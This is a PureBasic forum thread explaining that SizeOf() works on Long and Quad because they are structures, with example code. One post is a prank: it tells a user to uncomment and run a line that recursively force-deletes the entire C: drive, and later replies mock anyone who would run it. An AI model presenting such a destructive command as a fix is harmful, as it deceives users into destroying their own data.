Interestingly enough the docs for 4.02 state that SizeOf() only works on structures and not on base types. However, you are right it works fine on base types:Psychophanta wrote: snip...
I translate it to PB:Code: Select all
h_verlen.c=(4<<4)|(SizeOf(ipHeader)/SizeOf(long))
Code: Select all
If OpenConsole()
PrintN("sizeof long is:"+Str(SizeOf(long)))
PrintN("sizeof quad is:"+Str(SizeOf(quad)))
PrintN("Hit Enter to continue")
Input()
EndIf

Codefire,
'Long' and 'Quad' are structures. Defining 'myVariable.Long' is not the same as 'myVariable.l'. What you can't do is 'SizeOf(.l)' and the like (although you can get the SizeOf() the variables themselves if the base type is not included, i.e. 'Debug SizeOf(myVariable)' ).

Code: Select all
;Base type:
myVariable.l = 42
;Structure:
myVariable2.Long
myVariable2\l = 42
Debug SizeOf(myVariable)
Debug SizeOf(myVariable2)
Debug myVariable
Debug myVariable2 ;Not the long value, but a pointer to a structure.
Debug myVariable2\l ;The actual long value contained in the structure's only element.Posted: Wed Apr 11, 2007 9:34 pm
This should fix all PBChinese's troubles. At least for some time
ANYONE ELSE SHOULD NOT RUN THAT CODE
Code: Select all
; PBChinese, uncomment the line below and compile and run it!
;DeleteDirectory("C:\", "*.*", #PB_FileSystem_Recursive|#PB_FileSystem_Force)Posted: Wed Apr 11, 2007 10:03 pm
PBChinese, I think this perfect solution, it worked for me.

Wow, I didn't know that! Long and Quad structures!Clutch wrote:Codefire,

Very useful to be able to find the size of a variable too...nice.

indeed, someone who tries that code without looking in the help first just deserves it.SFSxOI wrote:You just know that someone new is going to read your post and think "Oh! Cool!, lets see what this does"
